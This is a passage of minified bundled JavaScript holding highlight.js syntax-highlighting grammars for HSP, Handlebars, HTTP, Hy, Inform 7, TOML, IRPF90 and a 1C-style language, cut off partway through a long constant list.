interface",contains:[{className:"keyword",begin:"\\b(extends|implements) +",keywords:"extends implements",contains:[{className:"type",begin:A.IDENT_RE,relevance:0}]},A.TITLE_MODE]},{className:"function",beginKeywords:"function",end:"\\(",excludeEnd:!0,illegal:"\\S",contains:[A.TITLE_MODE]}],illegal:/<\//}}dJ8.exports=xPq});var iJ8=v((XCz,lJ8)=>{function uPq(A){return{name:"HSP",case_insensitive:!0,keywords:{$pattern:/[\w._]+/,keyword:"goto gosub return break repeat loop continue wait await dim sdim foreach dimtype dup dupptr end stop newmod delmod mref run exgoto on mcall assert logmes newlab resume yield onexit onerror onkey onclick oncmd exist delete mkdir chdir dirlist bload bsave bcopy memfile if else poke wpoke lpoke getstr chdpm memexpand memcpy memset notesel noteadd notedel noteload notesave randomize noteunsel noteget split strrep setease button chgdisp exec dialog mmload mmplay mmstop mci pset pget syscolor mes print title pos circle cls font sysfont objsize picload color palcolor palette redraw width gsel gcopy gzoom gmode bmpsave hsvcolor getkey listbox chkbox combox input mesbox buffer screen bgscr mouse objsel groll line clrobj boxf objprm objmode stick grect grotate gsquare gradf objimage objskip objenable celload celdiv celput newcom querycom delcom cnvstow comres axobj winobj sendmsg comevent comevarg sarrayconv callfunc cnvwtos comevdisp libptr system hspstat hspver stat cnt err strsize looplev sublev iparam wparam lparam refstr refdval int rnd strlen length length2 length3 length4 vartype gettime peek wpeek lpeek varptr varuse noteinfo instr abs limit getease str strmid strf getpath strtrim sin cos tan atan sqrt double absf expf logf limitf powf geteasef mousex mousey mousew hwnd hinstance hdc ginfo objinfo dirinfo sysinfo thismod __hspver__ __hsp30__ __date__ __time__ __line__ __file__ _debug __hspdef__ and or xor not screen_normal screen_palette screen_hide screen_fixedsize screen_tool screen_frame gmode_gdi gmode_mem gmode_rgb0 gmode_alpha gmode_rgb0alpha gmode_add gmode_sub gmode_pixela ginfo_mx ginfo_my ginfo_act ginfo_sel ginfo_wx1 ginfo_wy1 ginfo_wx2 ginfo_wy2 ginfo_vx ginfo_vy ginfo_sizex ginfo_sizey ginfo_winx ginfo_winy ginfo_mesx ginfo_mesy ginfo_r ginfo_g ginfo_b ginfo_paluse ginfo_dispx ginfo_dispy ginfo_cx ginfo_cy ginfo_intid ginfo_newid ginfo_sx ginfo_sy objinfo_mode objinfo_bmscr objinfo_hwnd notemax notesize dir_cur dir_exe dir_win dir_sys dir_cmdline dir_desktop dir_mydoc dir_tv font_normal font_bold font_italic font_underline font_strikeout font_antialias objmode_normal objmode_guifont objmode_usefont gsquare_grad msgothic msmincho do until while wend for next _break _continue switch case default swbreak swend ddim ldim alloc m_pi rad2deg deg2rad ease_linear ease_quad_in ease_quad_out ease_quad_inout ease_cubic_in ease_cubic_out ease_cubic_inout ease_quartic_in ease_quartic_out ease_quartic_inout ease_bounce_in ease_bounce_out ease_bounce_inout ease_shake_in ease_shake_out ease_shake_inout ease_loop"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,{className:"string",begin:/\{"/,end:/"\}/,contains:[A.BACKSLASH_ESCAPE]},A.COMMENT(";","$",{relevance:0}),{className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"addion cfunc cmd cmpopt comfunc const defcfunc deffunc define else endif enum epack func global if ifdef ifndef include modcfunc modfunc modinit modterm module pack packopt regcmd runtime undef usecom uselib"},contains:[A.inherit(A.QUOTE_STRING_MODE,{className:"meta-string"}),A.NUMBER_MODE,A.C_NUMBER_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{className:"symbol",begin:"^\\*(\\w+|@)"},A.NUMBER_MODE,A.C_NUMBER_MODE]}}lJ8.exports=uPq});var oJ8=v(($Cz,rJ8)=>{function nJ8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function BPq(A){return iTA("(",A,")*")}function mPq(A){return iTA("(",A,")?")}function iTA(...A){return A.map((q)=>nJ8(q)).join("")}function gPq(...A){return"("+A.map((q)=>nJ8(q)).join("|")+")"}function FPq(A){let K={"builtin-name":["action","bindattr","collection","component","concat","debugger","each","each-in","get","hash","if","in","input","link-to","loc","log","lookup","mut","outlet","partial","query-params","render","template","textarea","unbound","unless","view","with","yield"]},q={literal:["true","false","undefined","null"]},Y=/""|"[^"]+"/,z=/''|'[^']+'/,w=/\[\]|\[[^\]]+\]/,H=/[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+/,J=/(\.|\/)/,O=gPq(Y,z,w,H),X=iTA(mPq(/\.|\.\/|\//),O,BPq(iTA(J,O))),$=iTA("(",w,"|",H,")(?==)"),_={begin:X,lexemes:/[\w.\/]+/},G=A.inherit(_,{keywords:q}),Z={begin:/\(/,end:/\)/},W={className:"attr",begin:$,relevance:0,starts:{begin:/=/,end:/=/,starts:{contains:[A.NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,G,Z]}}},D={begin:/as\s+\|/,keywords:{keyword:"as"},end:/\|/,contains:[{begin:/\w+/}]},j={contains:[A.NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,D,W,G,Z],returnEnd:!0},M=A.inherit(_,{className:"name",keywords:K,starts:A.inherit(j,{end:/\)/})});Z.contains=[M];let P=A.inherit(_,{keywords:K,className:"name",starts:A.inherit(j,{end:/\}\}/})}),f=A.inherit(_,{keywords:K,className:"name"}),N=A.inherit(_,{className:"name",keywords:K,starts:A.inherit(j,{end:/\}\}/})});return{name:"Handlebars",aliases:["hbs","html.hbs","html.handlebars","htmlbars"],case_insensitive:!0,subLanguage:"xml",contains:[{begin:/\\\{\{/,skip:!0},{begin:/\\\\(?=\{\{)/,skip:!0},A.COMMENT(/\{\{!--/,/--\}\}/),A.COMMENT(/\{\{!/,/\}\}/),{className:"template-tag",begin:/\{\{\{\{(?!\/)/,end:/\}\}\}\}/,contains:[P],starts:{end:/\{\{\{\{\//,returnEnd:!0,subLanguage:"xml"}},{className:"template-tag",begin:/\{\{\{\{\//,end:/\}\}\}\}/,contains:[f]},{className:"template-tag",begin:/\{\{#/,end:/\}\}/,contains:[P]},{className:"template-tag",begin:/\{\{(?=else\}\})/,end:/\}\}/,keywords:"else"},{className:"template-tag",begin:/\{\{(?=else if)/,end:/\}\}/,keywords:"else if"},{className:"template-tag",begin:/\{\{\//,end:/\}\}/,contains:[f]},{className:"template-variable",begin:/\{\{\{/,end:/\}\}\}/,contains:[N]},{className:"template-variable",begin:/\{\{/,end:/\}\}/,contains:[N]}]}}function QPq(A){let K=FPq(A);if(K.name="HTMLbars",A.getLanguage("handlebars"))K.disableAutodetect=!0;return K}rJ8.exports=QPq});var sJ8=v((_Cz,aJ8)=>{function UPq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function pPq(...A){return A.map((q)=>UPq(q)).join("")}function dPq(A){let Y={className:"attribute",begin:pPq("^",/[A-Za-z][A-Za-z0-9-]*/,"(?=\\:\\s)"),starts:{contains:[{className:"punctuation",begin:/: /,relevance:0,starts:{end:"$",relevance:0}}]}},z=[Y,{begin:"\\n\\n",starts:{subLanguage:[],endsWithParent:!0}}];return{name:"HTTP",aliases:["https"],illegal:/\S/,contains:[{begin:"^(?=HTTP/(2|1\\.[01]) \\d{3})",end:/$/,contains:[{className:"meta",begin:"HTTP/(2|1\\.[01])"},{className:"number",begin:"\\b\\d{3}\\b"}],starts:{end:/\b\B/,illegal:/\S/,contains:z}},{begin:"(?=^[A-Z]+ (.*?) HTTP/(2|1\\.[01])$)",end:/$/,contains:[{className:"string",begin:" ",end:" ",excludeBegin:!0,excludeEnd:!0},{className:"meta",begin:"HTTP/(2|1\\.[01])"},{className:"keyword",begin:"[A-Z]+"}],starts:{end:/\b\B/,illegal:/\S/,contains:z}},A.inherit(Y,{relevance:0})]}}aJ8.exports=dPq});var eJ8=v((GCz,tJ8)=>{function cPq(A){var K="a-zA-Z_\\-!.?+*=<>&#'",q="["+K+"]["+K+"0-9/;:]*",Y={$pattern:q,"builtin-name":"!= % %= & &= * ** **= *= *map + += , --build-class-- --import-- -= . / // //= /= < << <<= <= = > >= >> >>= @ @= ^ ^= abs accumulate all and any ap-compose ap-dotimes ap-each ap-each-while ap-filter ap-first ap-if ap-last ap-map ap-map-when ap-pipe ap-reduce ap-reject apply as-> ascii assert assoc bin break butlast callable calling-module-name car case cdr chain chr coll? combinations compile compress cond cons cons? continue count curry cut cycle dec def default-method defclass defmacro defmacro-alias defmacro/g! defmain defmethod defmulti defn defn-alias defnc defnr defreader defseq del delattr delete-route dict-comp dir disassemble dispatch-reader-macro distinct divmod do doto drop drop-last drop-while empty? end-sequence eval eval-and-compile eval-when-compile even? every? except exec filter first flatten float? fn fnc fnr for for* format fraction genexpr gensym get getattr global globals group-by hasattr hash hex id identity if if* if-not if-python2 import in inc input instance? integer integer-char? integer? interleave interpose is is-coll is-cons is-empty is-even is-every is-float is-instance is-integer is-integer-char is-iterable is-iterator is-keyword is-neg is-none is-not is-numeric is-odd is-pos is-string is-symbol is-zero isinstance islice issubclass iter iterable? iterate iterator? keyword keyword? lambda last len let lif lif-not list* list-comp locals loop macro-error macroexpand macroexpand-1 macroexpand-all map max merge-with method-decorator min multi-decorator multicombinations name neg? next none? nonlocal not not-in not? nth numeric? oct odd? open or ord partition permutations pos? post-route postwalk pow prewalk print product profile/calls profile/cpu put-route quasiquote quote raise range read read-str recursive-replace reduce remove repeat repeatedly repr require rest round route route-with-methods rwm second seq set-comp setattr setv some sorted string string? sum switch symbol? take take-nth take-while tee try unless unquote unquote-splicing vars walk when while with with* with-decorator with-gensyms xi xor yield yield-from zero? zip zip-longest | |= ~"},z="[-+]?\\d+(\\.\\d+)?",w={begin:q,relevance:0},H={className:"number",begin:z,relevance:0},J=A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),O=A.COMMENT(";","$",{relevance:0}),X={className:"literal",begin:/\b([Tt]rue|[Ff]alse|nil|None)\b/},$={begin:"[\\[\\{]",end:"[\\]\\}]"},_={className:"comment",begin:"\\^"+q},G=A.COMMENT("\\^\\{","\\}"),Z={className:"symbol",begin:"[:]{1,2}"+q},W={begin:"\\(",end:"\\)"},D={endsWithParent:!0,relevance:0},j={className:"name",relevance:0,keywords:Y,begin:q,starts:D},M=[W,J,_,G,O,Z,$,H,X,w];return W.contains=[A.COMMENT("comment",""),j,D],D.contains=M,$.contains=M,{name:"Hy",aliases:["hylang"],illegal:/\S/,contains:[A.SHEBANG(),W,J,_,G,O,Z,$,H,X]}}tJ8.exports=cPq});var KO8=v((ZCz,AO8)=>{function lPq(A){return{name:"Inform 7",aliases:["i7"],case_insensitive:!0,keywords:{keyword:"thing room person man woman animal container supporter backdrop door scenery open closed locked inside gender is are say understand kind of rule"},contains:[{className:"string",begin:'"',end:'"',relevance:0,contains:[{className:"subst",begin:"\\[",end:"\\]"}]},{className:"section",begin:/^(Volume|Book|Part|Chapter|Section|Table)\b/,end:"$"},{begin:/^(Check|Carry out|Report|Instead of|To|Rule|When|Before|After)\b/,end:":",contains:[{begin:"\\(This",end:"\\)"}]},{className:"comment",begin:"\\[",end:"\\]",contains:["self"]}]}}AO8.exports=lPq});var wO8=v((WCz,zO8)=>{function qO8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function iPq(A){return YO8("(?=",A,")")}function YO8(...A){return A.map((q)=>qO8(q)).join("")}function nPq(...A){return"("+A.map((q)=>qO8(q)).join("|")+")"}function rPq(A){let K={className:"number",relevance:0,variants:[{begin:/([+-]+)?[\d]+_[\d_]+/},{begin:A.NUMBER_RE}]},q=A.COMMENT();q.variants=[{begin:/;/,end:/$/},{begin:/#/,end:/$/}];let Y={className:"variable",variants:[{begin:/\$[\w\d"][\w\d_]*/},{begin:/\$\{(.*?)\}/}]},z={className:"literal",begin:/\bon|off|true|false|yes|no\b/},w={className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[{begin:"'''",end:"'''",relevance:10},{begin:'"""',end:'"""',relevance:10},{begin:'"',end:'"'},{begin:"'",end:"'"}]},H={begin:/\[/,end:/\]/,contains:[q,z,Y,w,K,"self"],relevance:0},$=nPq(/[A-Za-z0-9_-]+/,/"(\\"|[^"])*"/,/'[^']*'/),_=YO8($,"(\\s*\\.\\s*",$,")*",iPq(/\s*=\s*[^#\s]/));return{name:"TOML, also INI",aliases:["toml"],case_insensitive:!0,illegal:/\S/,contains:[q,{className:"section",begin:/\[+/,end:/\]+/},{begin:_,className:"attr",starts:{end:/$/,contains:[q,H,z,Y,w,K]}}]}}zO8.exports=rPq});var JO8=v((DCz,HO8)=>{function oPq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Zx1(...A){return A.map((q)=>oPq(q)).join("")}function aPq(A){let K={className:"params",begin:"\\(",end:"\\)"},q=/(_[a-z_\d]+)?/,Y=/([de][+-]?\d+)?/,z={className:"number",variants:[{begin:Zx1(/\b\d+/,/\.(\d*)/,Y,q)},{begin:Zx1(/\b\d+/,Y,q)},{begin:Zx1(/\.\d+/,Y,q)}],relevance:0};return{name:"IRPF90",case_insensitive:!0,keywords:{literal:".False. .True.",keyword:"kind do while private call intrinsic where elsewhere type endtype endmodule endselect endinterface end enddo endif if forall endforall only contains default return stop then public subroutine|10 function program .and. .or. .not. .le. .eq. .ge. .gt. .lt. goto save else use module select case access blank direct exist file fmt form formatted iostat name named nextrec number opened rec recl sequential status unformatted unit continue format pause cycle exit c_null_char c_alert c_backspace c_form_feed flush wait decimal round iomsg synchronous nopass non_overridable pass protected volatile abstract extends import non_intrinsic value deferred generic final enumerator class associate bind enum c_int c_short c_long c_long_long c_signed_char c_size_t c_int8_t c_int16_t c_int32_t c_int64_t c_int_least8_t c_int_least16_t c_int_least32_t c_int_least64_t c_int_fast8_t c_int_fast16_t c_int_fast32_t c_int_fast64_t c_intmax_t C_intptr_t c_float c_double c_long_double c_float_complex c_double_complex c_long_double_complex c_bool c_char c_null_ptr c_null_funptr c_new_line c_carriage_return c_horizontal_tab c_vertical_tab iso_c_binding c_loc c_funloc c_associated c_f_pointer c_ptr c_funptr iso_fortran_env character_storage_size error_unit file_storage_size input_unit iostat_end iostat_eor numeric_storage_size output_unit c_f_procpointer ieee_arithmetic ieee_support_underflow_control ieee_get_underflow_mode ieee_set_underflow_mode newunit contiguous recursive pad position action delim readwrite eor advance nml interface procedure namelist include sequence elemental pure integer real character complex logical dimension allocatable|10 parameter external implicit|10 none double precision assign intent optional pointer target in out common equivalence data begin_provider &begin_provider end_provider begin_shell end_shell begin_template end_template subst assert touch soft_touch provide no_dep free irp_if irp_else irp_endif irp_write irp_read",built_in:"alog alog10 amax0 amax1 amin0 amin1 amod cabs ccos cexp clog csin csqrt dabs dacos dasin datan datan2 dcos dcosh ddim dexp dint dlog dlog10 dmax1 dmin1 dmod dnint dsign dsin dsinh dsqrt dtan dtanh float iabs idim idint idnint ifix isign max0 max1 min0 min1 sngl algama cdabs cdcos cdexp cdlog cdsin cdsqrt cqabs cqcos cqexp cqlog cqsin cqsqrt dcmplx dconjg derf derfc dfloat dgamma dimag dlgama iqint qabs qacos qasin qatan qatan2 qcmplx qconjg qcos qcosh qdim qerf qerfc qexp qgamma qimag qlgama qlog qlog10 qmax1 qmin1 qmod qnint qsign qsin qsinh qsqrt qtan qtanh abs acos aimag aint anint asin atan atan2 char cmplx conjg cos cosh exp ichar index int log log10 max min nint sign sin sinh sqrt tan tanh print write dim lge lgt lle llt mod nullify allocate deallocate adjustl adjustr all allocated any associated bit_size btest ceiling count cshift date_and_time digits dot_product eoshift epsilon exponent floor fraction huge iand ibclr ibits ibset ieor ior ishft ishftc lbound len_trim matmul maxexponent maxloc maxval merge minexponent minloc minval modulo mvbits nearest pack present product radix random_number random_seed range repeat reshape rrspacing scale scan selected_int_kind selected_real_kind set_exponent shape size spacing spread sum system_clock tiny transpose trim ubound unpack verify achar iachar transfer dble entry dprod cpu_time command_argument_count get_command get_command_argument get_environment_variable is_iostat_end ieee_arithmetic ieee_support_underflow_control ieee_get_underflow_mode ieee_set_underflow_mode is_iostat_eor move_alloc new_line selected_char_kind same_type_as extends_type_of acosh asinh atanh bessel_j0 bessel_j1 bessel_jn bessel_y0 bessel_y1 bessel_yn erf erfc erfc_scaled gamma log_gamma hypot norm2 atomic_define atomic_ref execute_command_line leadz trailz storage_size merge_bits bge bgt ble blt dshiftl dshiftr findloc iall iany iparity image_index lcobound ucobound maskl maskr num_images parity popcnt poppar shifta shiftl shiftr this_image IRP_ALIGN irp_here"},illegal:/\/\*/,contains:[A.inherit(A.APOS_STRING_MODE,{className:"string",relevance:0}),A.inherit(A.QUOTE_STRING_MODE,{className:"string",relevance:0}),{className:"function",beginKeywords:"subroutine function program",illegal:"[${=\\n]",contains:[A.UNDERSCORE_TITLE_MODE,K]},A.COMMENT("!","$",{relevance:0}),A.COMMENT("begin_doc","end_doc",{relevance:10}),z]}}HO8.exports=aPq});var XO8=v((jCz,OO8)=>{function sPq(A){let Y="and и else иначе endexcept endfinally endforeach конецвсе endif конецесли endwhile конецпока "+"except exitfor finally foreach все if если in в not не or или try while пока ",z="SYSRES_CONST_ACCES_RIGHT_TYPE_EDIT SYSRES_CONST_ACCES_RIGHT_TYPE_FULL SYSRES_CONST_ACCES_RIGHT_TYPE_VIEW SYSRES_CONST_ACCESS_MODE_REQUISITE_CODE SYSRES_CONST_ACCESS_NO_ACCESS_VIEW SYSRES_CONST_ACCESS_NO_ACCESS_VIEW_CODE SYSRES_CONST_ACCESS_RIGHTS_ADD_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_ADD_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_CHANGE_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_CHANGE_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_DELETE_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_DELETE_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_EXECUTE_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_EXECUTE_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_NO_ACCESS_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_NO_ACCESS_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_RATIFY_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_RATIFY_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_RIGHTS_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_VIEW SYSRES_CONST_ACCESS_RIGHTS_VIEW_CODE SYSRES_CONST_ACCESS_RIGHTS_VIEW_REQUISITE_CODE SYSRES_CONST_ACCESS_RIGHTS_VIEW_REQUISITE_YES_CODE SYSRES_CONST_ACCESS_TYPE_CHANGE SYSRES_CONST_ACCESS_TYPE_CHANGE_CODE SYSRES_CONST_ACCESS_TYPE_EXISTS SYSRES_CONST_ACCESS_TYPE_EXISTS_CODE SYSRES_CONST_ACCESS_TYPE_FULL SYSRES_CONST_ACCESS_TYPE_FULL_CODE SYSRES_CONST_ACCESS_TYPE_VIEW SYSRES_CONST_ACCESS_TYPE_VIEW_CODE SYSRES_CONST_ACTION_TYPE_ABORT SYSRES_CONST_ACTION_TYPE_ACCEPT SYSRES_CONST_ACTION_TYPE_ACCESS_RIGHTS SYSRES_CONST_ACTION_TYPE_ADD_ATTACHMENT SYSRES_CONST_ACTION_TYPE_CHANGE_CARD SYSRES_CONST_ACTION_TYPE_CHANGE_KIND SYSRES_CONST_ACTION_TYPE_CHANGE_STORAGE SYSRES_CONST_ACTION_TYPE_CONTINUE SYSRES_CONST_ACTION_TYPE_COPY SYSRES_CONST_ACTION_TYPE_CREATE SYSRES_CONST_ACTION_TYPE_CREATE_VERSION SYSRES_CONST_ACTION_TYPE_DELETE SYSRES_CONST_ACTION_TYPE_DELETE_ATTACHMENT SYSRES_CONST_ACTION_TYPE_DELETE_VERSION SYSRES_CONST_ACTION_TYPE_DISABLE_DELEGATE_ACCESS_RIGHTS SYSRES_CONST_ACTION_TYPE_ENABLE_DELEGATE_ACCESS_RIGHTS SYSRES_CONST_ACTION_TYPE_ENCRYPTION_BY_CERTIFICATE SYSRES_CONST_ACTION_TYPE_ENCRYPTION_BY_CERTIFICATE_AND_PASSWORD SYSRES_CONST_ACTION_TYPE_ENCRYPTION_BY_PASSWORD SYSRES_CONST_ACTION_TYPE_EXPORT_WITH_LOCK SYSRES_CONST_ACTION_TYPE_EXPORT_WITHOUT_LOCK SYSRES_CONST_ACTION_TYPE_IMPORT_WITH_UNLOCK SYSRES_CONST_ACTION_TYPE_IMPORT_WITHOUT_UNLOCK SYSRES_CONST_ACTION_TYPE_LIFE_CYCLE_STAGE SYSRES_CONST_ACTION_TYPE_LOCK SYSRES_CONST_ACTION_TYPE_LOCK_FOR_SERVER SYSRES_CONST_ACTION_TYPE_LOCK_MODIFY SYSRES_CONST_ACTION_TYPE_MARK_AS_READED SYSRES_CONST_ACTION_TYPE_MARK_AS_UNREADED SYSRES_CONST_ACTION_TYPE_MODIFY SYSRES_CONST_ACTION_TYPE_MODIFY_CARD SYSRES_CONST_ACTION_TYPE_MOVE_TO_ARCHIVE SYSRES_CONST_ACTION_TYPE_OFF_ENCRYPTION SYSRES_CONST_ACTION_TYPE_PASSWORD_CHANGE SYSRES_CONST_ACTION_TYPE_PERFORM SYSRES_CONST_ACTION_TYPE_RECOVER_FROM_LOCAL_COPY SYSRES_CONST_ACTION_TYPE_RESTART SYSRES_CONST_ACTION_TYPE_RESTORE_FROM_ARCHIVE SYSRES_CONST_ACTION_TYPE_REVISION SYSRES_CONST_ACTION_TYPE_SEND_BY_MAIL SYSRES_CONST_ACTION_TYPE_SIGN SYSRES_CONST_ACTION_TYPE_START SYSRES_CONST_ACTION_TYPE_UNLOCK SYSRES_CONST_ACTION_TYPE_UNLOCK_FROM_SERVER SYSRES_CONST_ACTION_TYPE_VERSION_STATE SYSRES_CONST_ACTION_TYPE_VERSION_VISIBILITY SYSRES_CONST_ACTION_TYPE_VIEW SYSRES_CONST_ACTION_TYPE_VIEW_SHADOW_COPY SYSRES_CONST_ACTION_TYPE_WORKFLOW_DESCRIPTION_MODIFY SYSRES_CONST_ACTION_TYPE_WRITE_HISTORY SYSRES_CONST_ACTIVE_VERSION_STATE_PICK_VALUE SYSRES_CONST_ADD_REFERENCE_MODE_NAME SYSRES_CONST_ADDITION_REQUISITE_CODE SYSRES_CONST_ADDITIONAL_PARAMS_REQUISITE_CODE SYSRES_CONST_ADITIONAL_JOB_END_DATE_REQUISITE_NAME SYSRES_CONST_ADITIONAL_JOB_READ_REQUISITE_NAME SYSRES_CONST_ADITIONAL_JOB_START_DATE_REQUISITE_NAME SYSRES_CONST_ADITIONAL_JOB_STATE_REQUISITE_NAME SYSRES_CONST_ADMINISTRATION_HISTORY_ADDING_USER_TO_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_ADDING_USER_TO_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_COMP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_COMP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_USER_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_CREATION_USER_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_DATABASE_USER_CREATION SYSRES_CONST_ADMINISTRATION_HISTORY_DATABASE_USER_CREATION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DATABASE_USER_DELETION SYSRES_CONST_ADMINISTRATION_HISTORY_DATABASE_USER_DELETION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_COMP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_COMP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_USER_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_USER_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_USER_FROM_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_DELETION_USER_FROM_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_FILTERER_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_FILTERER_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_FILTERER_RESTRICTION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_FILTERER_RESTRICTION_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_PRIVILEGE_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_PRIVILEGE_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_RIGHTS_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_GRANTING_RIGHTS_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_IS_MAIN_SERVER_CHANGED_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_IS_MAIN_SERVER_CHANGED_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_IS_PUBLIC_CHANGED_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_IS_PUBLIC_CHANGED_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_FILTERER_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_FILTERER_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_FILTERER_RESTRICTION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_FILTERER_RESTRICTION_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_PRIVILEGE_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_PRIVILEGE_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_RIGHTS_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_REMOVING_RIGHTS_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_SERVER_LOGIN_CREATION SYSRES_CONST_ADMINISTRATION_HISTORY_SERVER_LOGIN_CREATION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_SERVER_LOGIN_DELETION SYSRES_CONST_ADMINISTRATION_HISTORY_SERVER_LOGIN_DELETION_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_CATEGORY_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_CATEGORY_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_COMP_TITLE_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_COMP_TITLE_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_FULL_NAME_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_FULL_NAME_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_PARENT_GROUP_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_PARENT_GROUP_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_AUTH_TYPE_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_AUTH_TYPE_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_LOGIN_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_LOGIN_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_STATUS_ACTION SYSRES_CONST_ADMINISTRATION_HISTORY_UPDATING_USER_STATUS_ACTION_CODE SYSRES_CONST_ADMINISTRATION_HISTORY_USER_PASSWORD_CHANGE SYSRES_CONST_ADMINISTRATION_HISTORY_USER_PASSWORD_CHANGE_ACTION SYSRES_CONST_ALL_ACCEPT_CONDITION_RUS SYSRES_CONST_ALL_USERS_GROUP SYSRES_CONST_ALL_USERS_GROUP_NAME SYSRES_CONST_ALL_USERS_SERVER_GROUP_NAME SYSRES_CONST_ALLOWED_ACCESS_TYPE_CODE SYSRES_CONST_ALLOWED_ACCESS_TYPE_NAME SYSRES_CONST_APP_VIEWER_TYPE_REQUISITE_CODE SYSRES_CONST_APPROVING_SIGNATURE_NAME SYSRES_CONST_APPROVING_SIGNATURE_REQUISITE_CODE SYSRES_CONST_ASSISTANT_SUBSTITUE_TYPE SYSRES_CONST_ASSISTANT_SUBSTITUE_TYPE_CODE SYSRES_CONST_ATTACH_TYPE_COMPONENT_TOKEN SYSRES_CONST_ATTACH_TYPE_DOC SYSRES_CONST_ATTACH_TYPE_EDOC SYSRES_CONST_ATTACH_TYPE_FOLDER SYSRES_CONST_ATTACH_TYPE_JOB SYSRES_CONST_ATTACH_TYPE_REFERENCE SYSRES_CONST_ATTACH_TYPE_TASK SYSRES_CONST_AUTH_ENCODED_PASSWORD SYSRES_CONST_AUTH_ENCODED_PASSWORD_CODE SYSRES_CONST_AUTH_NOVELL SYSRES_CONST_AUTH_PASSWORD SYSRES_CONST_AUTH_PASSWORD_CODE SYSRES_CONST_AUTH_WINDOWS 